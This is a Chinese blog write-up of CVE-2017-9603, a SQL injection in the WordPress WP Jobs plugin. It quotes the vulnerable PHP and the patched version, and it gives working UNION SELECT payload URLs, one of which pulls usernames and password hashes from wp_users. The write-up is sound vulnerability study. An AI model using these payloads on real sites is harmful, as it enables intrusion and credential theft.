CVE-2017-9603分析
目录
一、CVE-2017-9603
WordPress Plugin WP Jobs < 1.5 - SQL Injection
二、漏洞分析
问题出现在wp-jobswpjobs_applications,php,第10行到第62行:
<?php
$job_id = $_REQUEST['jobid']; //获取jobid
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
<form autocomplete="off" name="form" id="form">
<?php _e('Filter by Job', 'wp-jobs'); ?> <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent', this, 0)">
<option value="edit.php?post_type=job&page=WPJobsJobApps">All Applications</option>
<?php foreach ($jobs as $job_info) : setup_postdata($jobs); ?>
<option <?php
if ($job_info->ID == $job_id) {
echo 'selected="selected"';
}
?> value="edit.php?post_type=job&page=WPJobsJobApps&jobid=<?php echo $job_info->ID; ?>"><?php echo $job_info->post_title; ?></option>
<?php
endforeach;
wp_reset_postdata();
?>
</select>
</form>
<style>
.dctrprt tr th, .dctrprt tr td {
font-family:Arial, Helvetica, sans-serif;
font-size:13px;
}
</style>
<table class="widefat dctrprt">
<tr>
<th><strong><?php _e('S.No', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Job Title', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Full Name', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Email', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Phone Number', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Download Resume', 'wp-jobs'); ?></strong></th>
</tr>
<?php
$tbl = $wpdb->prefix;
$qry = "Select * from " . $tbl . "app_user_info ";
if ($job_id <> "") {
$qry .= " where app_job_id = " . $job_id; //直接带入SQL语句查询
}
$qry .= " Order by `app_id` Desc ";
$users = $wpdb->get_results($qry);
$i = 1;
foreach ($users as $user) {
?>
漏洞的原因很简单,系统在request jobid后,没有进行任何转义或者过滤处理,直接简单的判断了下job_id的值是否为空,然后就拼接到了SQL语句中,从而导致了SQL注入漏洞。 测试如下:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin
当字段数为6的时候,返回特殊页面。
说明字段数为6。 可以使用mysql监控工具可以看到执行的SQL语句:
可以看到,我们所构造的语句被拼接到SQL语句中执行。 尝试查看数据库版本:
成功查询。 最终可构造的EXP的如下:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename AS CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM wordpress.wp_users-- admin
三、 修复方案 看下官方的修复方案:
在1.4的版本中:
<?php
$job_id = $_REQUEST['jobid'];
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
1.5版本中:
<?php
$job_id = isset($_REQUEST['jobid']) ? sanitize_key($_REQUEST['jobid']) : null;
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
可以看到官方对于jobid加了一个wordpress自带函数sanitize_key来过滤特殊字符,使jobid的参数只允许包含数字和字母,破折号和下划线,从而修复了SQL注入漏洞。
四、总结
由于刚开学事情比较多,而且在忙学校的一个作品竞赛,所以没太多时间研究其他比较有意思的CVE漏洞,只是随便在exploit-db找了一个有CVE编号的进行分析。结果分析下来发现,这个CVE其实没什么亮点内容,也就是一个常见的注入漏洞,而且这个漏洞比较鸡肋,因为只有管理员权限才可查看WPJobsJobApps界面,才能进一步进行注入。不得不感叹一声,只要肯研究CVE真不是难事
相关文章
- Jgit的使用笔记
- 利用Github Action实现Tornadofx/JavaFx打包
- 叹息!GitHub Trending 即将成为历史!
- 微软软了?开源社区讨论炸锅,GitHub CEO 亲自来答
- GitHub Trending 列表频现重复项,前后端都没去重?
- Photoshop Elements 2021版本软件安装教程(mac+windows全版本都有)
- (ps全版本)Photoshop 2020的安装与破解教程(mac+windows全版本都有)
- (ps全版本)Photoshop cc2018的安装与破解教程(mac+windows全版本,包括2023
- 环境搭建:Oracle GoldenGate 大数据迁移到 Redshift/Flat file/Flume/Kafka测试流程
- 每个开发人员都要掌握的:最小 Linux 基础课
- 来撸羊毛了!Windows 环境下 Hexo 博客搭建,并部署到 GitHub Pages
- 超实用!手把手入门 MongoDB:这些坑点请一定远离
- 【GitHub日报】22-10-09 zustand、neovim、webtorrent、express 等4款App今日上新
- 【GitHub日报】22-10-10 brew、minio、vite、seaweedfs、dbeaver 等8款App今日上新
- 【GitHub日报】22-10-11 cobra、grafana、vue、ToolJet、redwood 等13款App今日上新
- Photoshop 2018 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2017 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2020 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2023 资源免费下载(mac+windows全版本都有,包括最新的2023)
- 最新版本Photoshop CC2018软件安装教程(mac+windows全版本都有,包括2023